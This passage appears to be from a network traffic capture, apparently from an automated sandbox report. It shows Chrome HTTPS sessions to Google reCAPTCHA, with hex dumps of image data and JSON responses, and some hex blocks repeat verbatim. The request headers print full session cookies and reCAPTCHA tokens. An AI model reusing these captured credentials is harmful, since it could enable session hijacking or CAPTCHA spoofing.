2024-03-15 12:58:29 UTC	1252	IN	Data Raw: c0 55 2b 0f 87 3a 6d 8a 30 d3 35 9d 7e d9 1e 53 29 58 af 5c 02 e7 82 dc 01 c9 c7 5a db d3 7c 3b 15 a1 cc fa fe b9 20 5e 48 b8 ba 91 c6 3f 1e 28 78 88 3f b1 f9 ff 00 98 fd 9b ee 73 f7 36 0d e2 6d 9a e3 c5 77 a4 4f 79 26 1e da e2 30 59 0a 82 b9 23 19 e7 6e 7b 70 6a 85 cf 81 b5 28 f2 6c ae d2 42 58 9d c8 e5 79 fa 36 e1 5d c5 fc 9a 2a 08 47 db 41 29 28 2c 4c 8d 90 30 7d 7f fa d5 5d 6f 34 a8 dc 81 78 49 62 70 49 46 07 e8 43 1e 2b 82 6a 2d ea 6e b6 2c 7c 23 4d 43 c3 16 5e 20 9b 53 93 cb 69 44 06 26 75 5f 94 28 93 73 1c 1e 40 c8 e3 03 9c 0e f5 cc eb 17 cf ac ea 6f 7a f1 c8 d1 8f 96 18 c9 fb 89 d7 93 dc 92 49 27 1c 92 4d 68 f8 93 53 89 ed 12 ce d2 74 f2 e5 39 9b 03 24 85 e8 3e 99 39 fc 05 72 9a 95 fc 36 ea 04 db 55 72 00 f3 9b 1f 92 0a e8 a7 6f 66 92 d8 8d 13 34 Data Ascii: U+:m05~S)X\Z\|; ^H?(x?s6mwOy&0Y#n{pj(lBXy6]*GA)(,L0}]o4xIbpIFC+j-n,\|#MC^ SiD&u_(s@ozI'MhSt9$>9r6Urof4
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 1c 13 ec 7b 52 0f 1c eb 52 c8 24 37 51 c7 90 76 88 e0 53 81 c7 b1 a4 fe cd d2 8e 41 b3 8f 8e 84 86 26 9f 1e 9d 68 c3 e5 80 a0 ff 00 64 20 fe 62 87 8e 5d 2e 53 ac ba 22 bb 78 b3 5d 72 4b 6a 0f b1 b3 b8 22 e3 1c f5 e3 14 93 6b 77 92 18 cc da 85 f1 20 f0 0c cc 00 ed c7 3d 79 eb ef 56 9a c6 03 2e 42 32 f1 ce 11 32 7f 21 48 61 b4 50 54 a3 36 7d f1 fc ab 17 8b 93 d4 85 59 94 27 d5 2e 37 29 17 37 2f 9e 32 ce 7f 99 35 0c 93 60 86 92 29 24 27 81 c6 ec 0f ca b6 4d 9d 9c a0 0f 2d ba 67 a6 69 0d a5 b9 5f 2d 57 38 ed 9c 1f d0 74 a9 78 a6 0e bc cc b5 bc 58 fe fb ed 52 fb 76 b7 cb 92 7d 8d 3e 6b d8 62 99 07 cc 57 d4 c6 4e 7f c2 ad cf a5 d8 3f cf 2d aa 12 31 c9 90 8f e5 4e 8a 0b 58 54 46 96 df bb cf 07 0c df ad 44 ab 29 13 3a 8e 5b b3 36 fa f6 f2 48 55 34 f8 e4 76 3c 31 Data Ascii: {RR$7QvSA&hd b].S"x]rKj"kw =yV.B22!HaPT6}Y'.7)7/25`)$'M-gi_-W8txXRv}>kbWN?-1NXTFD):[6HU4v<1
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 30 c4 e3 f3 a7 0b 88 87 0c 7c b6 3e dd 6a ba bd c9 5d 82 08 95 4f 50 4f e3 52 79 97 01 79 f2 88 f6 53 d3 f1 af 94 39 6e 49 bd 41 05 19 ce 47 61 c5 39 99 5d 7e 64 95 bf 00 2a 02 8e dc 99 f9 3d 82 8c 53 56 03 09 06 59 9d f0 33 c3 00 0f be 00 a6 90 12 26 e3 90 22 95 70 73 cb e3 fa d3 c4 a8 ca 43 95 eb fc 47 23 35 5e 36 83 79 de ac e0 f4 3c 91 52 a3 44 1b 72 ee e9 d8 01 8a 1a 02 56 31 a0 04 94 f6 21 78 fd 28 59 e2 77 c9 12 90 a3 92 a3 fc e6 91 a5 72 31 e5 84 1e e4 1a 6a dd 1c a8 69 e3 c6 7b 0e 69 72 8f 42 46 65 20 6d 85 cf 3f c4 f8 a4 c1 2c 08 b5 b7 1f ef 12 c7 f9 d4 17 17 61 01 c4 87 9e 32 71 83 59 e7 54 40 a5 9a ee 0c 11 9c 06 c9 fa 70 2a a3 19 3d 81 1b 8b f2 6f 2e f1 c6 47 5d ab 81 48 ec d2 2e 10 a3 71 92 58 92 7f 4c 56 02 ea 6e fb 0c 56 ef 30 cf 23 e5 56 Data Ascii: 0\|>j]OPORyyS9nIAGa9]~d=SVY3&"psCG#5^6y<RDrV1!x(Ywr1ji{irBFe m?,a2qYT@p=o.G]H.qXLVnV0#V
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 7b 9f 4e 7f c2 94 7d bf f2 1a 18 ee 0d a7 5f fc 7e 88 fe 0e 38 25 4e b2 48 38 ff 00 97 2f 7f f7 eb da 63 2a a0 17 e7 da a4 8f 33 48 23 8d 72 4f 6a d7 fb 3b 0b fc 9f 8b ff 00 33 99 5c f1 e4 f8 37 10 53 8d 60 26 79 c7 d9 32 01 ff 00 be e9 0f c1 9c 96 11 eb e9 18 23 03 16 3d 3f f2 25 7b 60 b0 75 21 a4 c6 cc f2 69 f2 db 44 08 31 f2 2a 56 5f 85 5b 47 f1 7f e6 56 a8 f1 58 fe 0b dc 74 1e 27 4d bd 31 f6 03 8f fd 1b 58 be 31 f8 3f 77 a5 68 77 1a 8b 78 9e 06 58 88 61 ba cf cb 27 9e 80 f9 98 07 f0 af a1 12 24 1d 8d 71 3e 39 b8 bc be bb 4b 0d 3a f7 6d a2 c6 56 75 53 8d ee 4f 7f 51 8c 54 cf 05 85 87 d9 fc 5f f9 85 a5 25 a1 e7 d6 df 00 ee ef ac 21 b8 3e 32 58 cc b1 ab 8d 9a 70 65 19 00 f7 93 9f af 14 9f f0 cf 0c 8c 19 bc 65 23 00 3e e8 d3 b0 a3 ff 00 22 57 ac f8 0b 51 Data Ascii: {N}_~8%NH8/c3H#rOj;3\7S`&y2#=?%{`u!iD1V_[GVXt'M1X1?whwxXa'$q>9K:mVuSOQT_%!>2Xpee#>"WQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49768	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:29 UTC	1023	OUT	GET /recaptcha/api2/payload?p=06AFcWeA7mqDTn3XTDJiy_EmMPxD0ZOmP_jwgiGtQJ-M5rVzwRXeqt_92s4AtDlghbN-vrvsKXyutgx221iYkBIonnmuGd8v9Rk-_I5ha3Q6zbzda6i5-n_zdgKValxTj1I9WTL6qH43PXjUQQAX_krneHTNPIdJMIpfcyldUyeqBhN3tOIIkPeh1M3PN77XJukqRMSdJzZO_JPOayB4Ob5PVmaov2Ft1L8Q&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:29 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:29 GMT Date: Fri, 15 Mar 2024 12:58:29 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:29 UTC	6	IN	Data Raw: 37 33 39 36 0d 0a Data Ascii: 7396
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: de 98 6d fc 61 a2 cc e3 e7 1a 84 0d ec 3f 78 a7 02 b9 6a 56 8d 3b 2e ac de 95 17 3d 7a 10 fc 62 d2 23 83 c5 5e 21 d5 cc 8c d2 5e 6b 17 11 04 08 49 fb ef 8e 9c f5 51 f9 d6 16 a7 a7 79 5e 16 25 a3 2a 7c c5 f9 5b a8 ca f4 35 e8 3e 22 b2 49 bc 69 ae 4f b1 77 3e a5 71 93 81 9f f5 ad 59 fe 30 b2 09 e1 d9 49 5e 0c eb f8 7c b5 c5 5a a2 95 4b 24 76 d2 a6 e3 4e ed 9e 1d aa db 24 63 7c d1 6f 45 3b b1 9c 74 e7 af 6a cd 9a f5 e3 ba 7d c9 b6 26 6c a7 b7 b1 af 4c b3 b7 d3 3e db 11 d4 64 b6 8a 02 58 33 4e ea ab f7 4f 73 c5 72 30 f8 6e f7 57 06 6b 7b 72 b6 61 b1 24 c7 05 55 33 82 f8 ee 06 0d 75 41 da 9f 33 7a 1c 75 65 18 ca d2 76 32 b4 fb d2 b7 b0 48 0f 09 2a 9c fe 3f fd 6a fa a6 ca f1 36 2c 60 e7 0b 9c e7 ad 7c eb a8 bc 56 9a 6f f6 33 6a 22 ea de dc a8 da 3f 74 59 3a ab Data Ascii: ma?xjV;.=zb#^!^kIQy^%\|[5>"IiOw>qY0I^\|ZK$vN$c\|oE;tj}&lL>dX3NOsr0nWk{ra$U3uA3zuev2H?j6,`\|Vo3j"?tY:
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: c3 a9 31 ea 00 19 27 80 3d 6b 1f c6 7e 20 b7 d0 b4 b9 60 5b 93 14 9b 37 dc ce a7 06 24 3d 02 ff 00 b6 d8 21 7d 00 2c 7a 73 6b 57 d5 23 d3 2c cd c9 0a d3 3e 56 04 63 80 4e 32 49 3d 94 01 92 7b 01 eb 5f 3c 78 ff 00 c4 b1 eb 77 8f 6f f6 d9 1a d6 39 0b 3b 79 64 99 e4 ee e7 f2 00 0e c0 01 da 89 ca da 1a c6 3d 4c cf 15 5f dc 78 83 52 fb 4c b7 16 f0 5b c6 36 5b c2 93 80 23 41 d0 0e 7f cf 27 a9 35 86 d0 4a 26 55 8f 50 94 82 40 db 1c bb 89 fd 69 1c 69 d3 13 1c 51 cc ec 31 9f dd 63 fa d7 59 e1 af 0a de ec 8e e2 2b 2c 34 8b 84 19 03 8f ae 7a d7 2d 5a 9c 8b 45 76 6f 4a 9f 3b d7 44 47 e1 dd 28 ac 49 24 a7 cc 98 8c 16 66 ce 39 e9 93 5d 57 85 d6 da 3f 14 69 aa 27 89 9d 6f 21 c8 47 0c 41 de 3d 0d 4f 63 a6 dd e8 b2 59 5c ea 50 98 22 fb 5c 6a 58 b8 60 32 fe d5 e9 ba 2c b6 Data Ascii: 1'=k~ `[7$=!},zskW#,>VcN2I={_<xwo9;yd=L_xRL[6[#A'5J&UP@iiQ1cY+,4z-ZEvoJ;DG(I$f9]W?i'o!GA=OcY\P"\jX`2,
2024-03-15 12:58:29 UTC	342	IN	Data Raw: 31 11 f5 4f d8 7e 13 49 13 42 22 f0 71 8d d8 33 22 bc 20 12 33 8e 03 7b 9a 55 d0 7e 15 dc 30 82 de cf c2 86 69 30 88 23 68 cb 67 b0 03 77 26 be 54 fe ca bc 04 67 41 d7 07 ae 21 6f 6f f6 2a d6 89 a6 6a 23 59 b5 92 1d 0b 5a f3 12 e1 1d 77 c6 40 c8 60 7f b9 4b 92 1d 87 76 cf 64 d7 fc 19 e1 48 35 9b ab 68 b4 0d 34 22 ca c1 57 f7 a3 03 f0 90 55 31 e0 ef 0c 8c 85 f0 fe 9b cf ab dc ff 00 49 aa b7 8f a5 9c f8 c7 50 57 8e 33 31 95 59 bc b9 48 00 94 53 c6 57 e9 59 26 e6 e2 3c ef 8e 4d c4 f3 86 ce 3f f1 da f3 e7 89 e5 76 b1 5f 23 de bf 67 6d 2a c3 4c 5d 77 ec 1a 7d ad a0 90 db 87 f2 0c a7 76 3c dc 67 cc 77 f5 3d 31 d7 bf 15 e9 93 5c 45 6f 1c b2 4a ea 91 26 e6 91 8f 40 01 35 e4 1f b3 65 d4 a9 1f 88 15 e1 70 ac 2d c8 66 7c fc c3 cc c0 03 1e e7 f2 ad ff 00 89 3e 25 fe Data Ascii: 1O~IB"q3" 3{U~0i0#hgw&TgA!ooj#YZw@`KvdH5h4"WU1IPW31YHSWY&<M?v_#gmL]w}v<gw=1\EoJ&@5ep-f\|>%
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 9f 72 32 73 52 e9 16 3f 6e b8 59 99 e6 96 30 dd 64 c9 c9 c1 e3 1e 95 85 4a aa 09 c9 9d 50 a6 e6 f9 51 3f 87 f4 d7 96 41 3c c8 bc 9f 95 51 4e 3e bc 9a ef 34 4f 0f ea 37 3e 2e f0 de b3 15 bc 7f 64 b1 86 78 66 76 fb d8 64 3b 4a ff 00 c0 8e 38 aa ba 5d 80 50 3e 43 c7 fb 35 e9 5e 13 8a e0 68 f0 08 e0 88 a8 2c 32 64 2a 7e f1 ed b4 d7 2e 0e a4 a7 55 b7 d8 e9 c5 53 50 a4 92 ee 50 f1 ed aa 3e 87 6a 8e 0e d3 a8 5b ee c7 a6 f0 2b a9 d3 2c 23 b0 81 61 89 9d 80 39 2c c4 64 fe 58 1d 87 e5 5c df c5 28 ef 47 82 6e 5a 35 8e 27 47 8d d5 d6 42 4a 90 c3 07 a0 ae a6 2d 3a 27 44 97 cf bc e4 06 ff 00 8f 97 c7 af ad 7a b1 ea 8f 36 5d cf 3f f1 9c 7f f1 4f bb 7f 77 5a b9 1f 9a ca 6b 13 c5 8a 3f e1 5c 4e f8 07 11 c3 c7 fc 08 0a df f1 b5 84 73 f8 4b 5c 98 bc eb 24 7a a1 db b6 66 01 Data Ascii: r2sR?nY0dJPQ?A<QN>4O7>.dxfvd;J8]P>C5^h,2d*~.USPP>j[+,#a9,dX\(GnZ5'GBJ-:'Dz6]?OwZk?\NsK\$zf
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: c0 55 2b 0f 87 3a 6d 8a 30 d3 35 9d 7e d9 1e 53 29 58 af 5c 02 e7 82 dc 01 c9 c7 5a db d3 7c 3b 15 a1 cc fa fe b9 20 5e 48 b8 ba 91 c6 3f 1e 28 78 88 3f b1 f9 ff 00 98 fd 9b ee 73 f7 36 0d e2 6d 9a e3 c5 77 a4 4f 79 26 1e da e2 30 59 0a 82 b9 23 19 e7 6e 7b 70 6a 85 cf 81 b5 28 f2 6c ae d2 42 58 9d c8 e5 79 fa 36 e1 5d c5 fc 9a 2a 08 47 db 41 29 28 2c 4c 8d 90 30 7d 7f fa d5 5d 6f 34 a8 dc 81 78 49 62 70 49 46 07 e8 43 1e 2b 82 6a 2d ea 6e b6 2c 7c 23 4d 43 c3 16 5e 20 9b 53 93 cb 69 44 06 26 75 5f 94 28 93 73 1c 1e 40 c8 e3 03 9c 0e f5 cc eb 17 cf ac ea 6f 7a f1 c8 d1 8f 96 18 c9 fb 89 d7 93 dc 92 49 27 1c 92 4d 68 f8 93 53 89 ed 12 ce d2 74 f2 e5 39 9b 03 24 85 e8 3e 99 39 fc 05 72 9a 95 fc 36 ea 04 db 55 72 00 f3 9b 1f 92 0a e8 a7 6f 66 92 d8 8d 13 34 Data Ascii: U+:m05~S)X\Z\|; ^H?(x?s6mwOy&0Y#n{pj(lBXy6]*GA)(,L0}]o4xIbpIFC+j-n,\|#MC^ SiD&u_(s@ozI'MhSt9$>9r6Urof4
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 1c 13 ec 7b 52 0f 1c eb 52 c8 24 37 51 c7 90 76 88 e0 53 81 c7 b1 a4 fe cd d2 8e 41 b3 8f 8e 84 86 26 9f 1e 9d 68 c3 e5 80 a0 ff 00 64 20 fe 62 87 8e 5d 2e 53 ac ba 22 bb 78 b3 5d 72 4b 6a 0f b1 b3 b8 22 e3 1c f5 e3 14 93 6b 77 92 18 cc da 85 f1 20 f0 0c cc 00 ed c7 3d 79 eb ef 56 9a c6 03 2e 42 32 f1 ce 11 32 7f 21 48 61 b4 50 54 a3 36 7d f1 fc ab 17 8b 93 d4 85 59 94 27 d5 2e 37 29 17 37 2f 9e 32 ce 7f 99 35 0c 93 60 86 92 29 24 27 81 c6 ec 0f ca b6 4d 9d 9c a0 0f 2d ba 67 a6 69 0d a5 b9 5f 2d 57 38 ed 9c 1f d0 74 a9 78 a6 0e bc cc b5 bc 58 fe fb ed 52 fb 76 b7 cb 92 7d 8d 3e 6b d8 62 99 07 cc 57 d4 c6 4e 7f c2 ad cf a5 d8 3f cf 2d aa 12 31 c9 90 8f e5 4e 8a 0b 58 54 46 96 df bb cf 07 0c df ad 44 ab 29 13 3a 8e 5b b3 36 fa f6 f2 48 55 34 f8 e4 76 3c 31 Data Ascii: {RR$7QvSA&hd b].S"x]rKj"kw =yV.B22!HaPT6}Y'.7)7/25`)$'M-gi_-W8txXRv}>kbWN?-1NXTFD):[6HU4v<1
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 30 c4 e3 f3 a7 0b 88 87 0c 7c b6 3e dd 6a ba bd c9 5d 82 08 95 4f 50 4f e3 52 79 97 01 79 f2 88 f6 53 d3 f1 af 94 39 6e 49 bd 41 05 19 ce 47 61 c5 39 99 5d 7e 64 95 bf 00 2a 02 8e dc 99 f9 3d 82 8c 53 56 03 09 06 59 9d f0 33 c3 00 0f be 00 a6 90 12 26 e3 90 22 95 70 73 cb e3 fa d3 c4 a8 ca 43 95 eb fc 47 23 35 5e 36 83 79 de ac e0 f4 3c 91 52 a3 44 1b 72 ee e9 d8 01 8a 1a 02 56 31 a0 04 94 f6 21 78 fd 28 59 e2 77 c9 12 90 a3 92 a3 fc e6 91 a5 72 31 e5 84 1e e4 1a 6a dd 1c a8 69 e3 c6 7b 0e 69 72 8f 42 46 65 20 6d 85 cf 3f c4 f8 a4 c1 2c 08 b5 b7 1f ef 12 c7 f9 d4 17 17 61 01 c4 87 9e 32 71 83 59 e7 54 40 a5 9a ee 0c 11 9c 06 c9 fa 70 2a a3 19 3d 81 1b 8b f2 6f 2e f1 c6 47 5d ab 81 48 ec d2 2e 10 a3 71 92 58 92 7f 4c 56 02 ea 6e fb 0c 56 ef 30 cf 23 e5 56 Data Ascii: 0\|>j]OPORyyS9nIAGa9]~d=SVY3&"psCG#5^6y<RDrV1!x(Ywr1ji{irBFe m?,a2qYT@p=o.G]H.qXLVnV0#V
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 7b 9f 4e 7f c2 94 7d bf f2 1a 18 ee 0d a7 5f fc 7e 88 fe 0e 38 25 4e b2 48 38 ff 00 97 2f 7f f7 eb da 63 2a a0 17 e7 da a4 8f 33 48 23 8d 72 4f 6a d7 fb 3b 0b fc 9f 8b ff 00 33 99 5c f1 e4 f8 37 10 53 8d 60 26 79 c7 d9 32 01 ff 00 be e9 0f c1 9c 96 11 eb e9 18 23 03 16 3d 3f f2 25 7b 60 b0 75 21 a4 c6 cc f2 69 f2 db 44 08 31 f2 2a 56 5f 85 5b 47 f1 7f e6 56 a8 f1 58 fe 0b dc 74 1e 27 4d bd 31 f6 03 8f fd 1b 58 be 31 f8 3f 77 a5 68 77 1a 8b 78 9e 06 58 88 61 ba cf cb 27 9e 80 f9 98 07 f0 af a1 12 24 1d 8d 71 3e 39 b8 bc be bb 4b 0d 3a f7 6d a2 c6 56 75 53 8d ee 4f 7f 51 8c 54 cf 05 85 87 d9 fc 5f f9 85 a5 25 a1 e7 d6 df 00 ee ef ac 21 b8 3e 32 58 cc b1 ab 8d 9a 70 65 19 00 f7 93 9f af 14 9f f0 cf 0c 8c 19 bc 65 23 00 3e e8 d3 b0 a3 ff 00 22 57 ac f8 0b 51 Data Ascii: {N}_~8%NH8/c3H#rOj;3\7S`&y2#=?%{`u!iD1V_[GVXt'M1X1?whwxXa'$q>9K:mVuSOQT_%!>2Xpee#>"WQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49770	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:37 UTC	1249	OUT	POST /recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 6185 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:37 UTC	6185	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 34 52 64 73 75 53 7a 4a 64 68 47 42 32 72 33 70 79 45 58 37 74 6a 6a 6e 48 4f 50 69 37 36 63 38 51 66 66 79 5f 6a 70 63 57 5f 75 33 4c 4e 74 5f 35 75 70 33 33 46 70 4c 59 79 70 49 30 6f 62 36 30 43 6d 59 69 70 4a 57 75 35 72 2d 6b 7a 62 54 64 62 4e 70 64 66 4b 6e 71 39 6b 73 4e 73 50 6d 4c 44 31 62 73 79 4d 76 32 76 71 51 37 43 36 70 44 49 46 6e 56 58 72 76 48 4e 51 75 52 4c 34 2d 32 55 75 69 4d 48 56 32 78 31 78 54 2d 62 32 37 6d 53 69 79 46 45 6d 6f 77 64 75 4e 66 38 43 77 37 6c 37 4d 7a 63 56 51 32 6b 77 58 69 69 6f 4d 73 43 75 32 62 4b 48 70 55 69 74 37 2d 31 46 35 61 5a 70 6d 43 37 2d 62 69 35 48 50 5a 55 70 6b 4c 5a 75 6b 79 63 36 5a 5a 72 Data Ascii: v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA4RdsuSzJdhGB2r3pyEX7tjjnHOPi76c8Qffy_jpcW_u3LNt_5up33FpLYypI0ob60CmYipJWu5r-kzbTdbNpdfKnq9ksNsPmLD1bsyMv2vqQ7C6pDIFnVXrvHNQuRL4-2UuiMHV2x1xT-b27mSiyFEmowduNf8Cw7l7MzcVQ2kwXiioMsCu2bKHpUit7-1F5aZpmC7-bi5HPZUpkLZukyc6ZZr
2024-03-15 12:58:38 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 15 Mar 2024 12:58:38 GMT Expires: Fri, 15 Mar 2024 12:58:38 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:38 UTC	769	IN	Data Raw: 33 63 30 0d 0a 29 5d 7d 27 0a 5b 22 75 76 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 37 31 59 53 33 74 79 41 6a 73 47 59 52 48 63 79 46 46 55 77 50 36 65 32 73 58 65 37 64 71 41 42 49 69 36 36 58 66 4f 57 54 72 6d 62 61 72 55 68 36 6c 61 6c 41 5f 46 72 30 34 4f 57 35 36 72 41 45 55 5a 4c 51 72 59 4d 58 63 5a 66 7a 33 32 4d 30 77 5a 58 30 56 52 4f 32 48 48 51 4f 70 49 75 56 47 71 39 37 62 67 55 4d 2d 31 36 30 56 52 37 35 56 59 79 7a 45 51 62 61 52 75 31 35 47 42 59 39 77 5a 38 4c 48 31 57 32 70 71 59 58 33 44 74 56 74 47 56 56 69 6a 49 36 4a 76 38 59 70 37 67 2d 68 35 65 79 61 70 34 2d 6b 43 30 4d 55 4d 6d 46 76 33 6f 44 5a 58 69 65 77 32 4d 72 47 4e 4f 69 76 79 46 7a 51 33 4f 4c 47 30 6e 70 73 31 4a 66 57 30 6b 44 2d 6a 6f 47 38 6a 77 73 73 55 78 75 54 Data Ascii: 3c0)]}'["uvresp","03AFcWeA71YS3tyAjsGYRHcyFFUwP6e2sXe7dqABIi66XfOWTrmbarUh6lalA_Fr04OW56rAEUZLQrYMXcZfz32M0wZX0VRO2HHQOpIuVGq97bgUM-160VR75VYyzEQbaRu15GBY9wZ8LH1W2pqYX3DtVtGVVijI6Jv8Yp7g-h5eyap4-kC0MUMmFv3oDZXiew2MrGNOivyFzQ3OLG0nps1JfW0kD-joG8jwssUxuT
2024-03-15 12:58:38 UTC	198	IN	Data Raw: 38 70 4f 54 48 72 6c 35 44 5a 32 39 79 70 78 79 46 6f 45 75 4d 76 49 57 5a 5a 79 36 68 6c 44 6d 4e 34 6f 50 66 46 49 39 70 61 57 4b 4f 6b 44 68 38 37 4a 55 71 50 5f 77 22 2c 31 2c 31 32 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 30 39 41 4e 65 4e 4c 30 52 36 67 54 5a 75 73 57 4d 59 63 4a 75 78 41 57 4c 47 6d 54 6d 6b 35 73 76 42 31 31 66 41 38 71 56 4e 64 68 65 79 53 59 67 75 46 67 55 76 46 5a 4c 66 4b 70 66 6a 4e 58 65 37 46 46 6a 74 6a 36 6d 54 6e 5f 6f 76 4b 73 64 6d 42 55 36 4d 66 75 58 45 74 4b 56 6d 36 57 4a 38 66 36 4b 61 38 41 22 5d 0d 0a Data Ascii: 8pOTHrl5DZ29ypxyFoEuMvIWZZy6hlDmN4oPfFI9paWKOkDh87JUqP_w",1,120,null,null,null,null,null,"09ANeNL0R6gTZusWMYcJuxAWLGmTmk5svB11fA8qVNdheySYguFgUvFZLfKpfjNXe7FFjtj6mTn_ovKsdmBU6MfuXEtKVm6WJ8f6Ka8A"]
2024-03-15 12:58:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49771	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
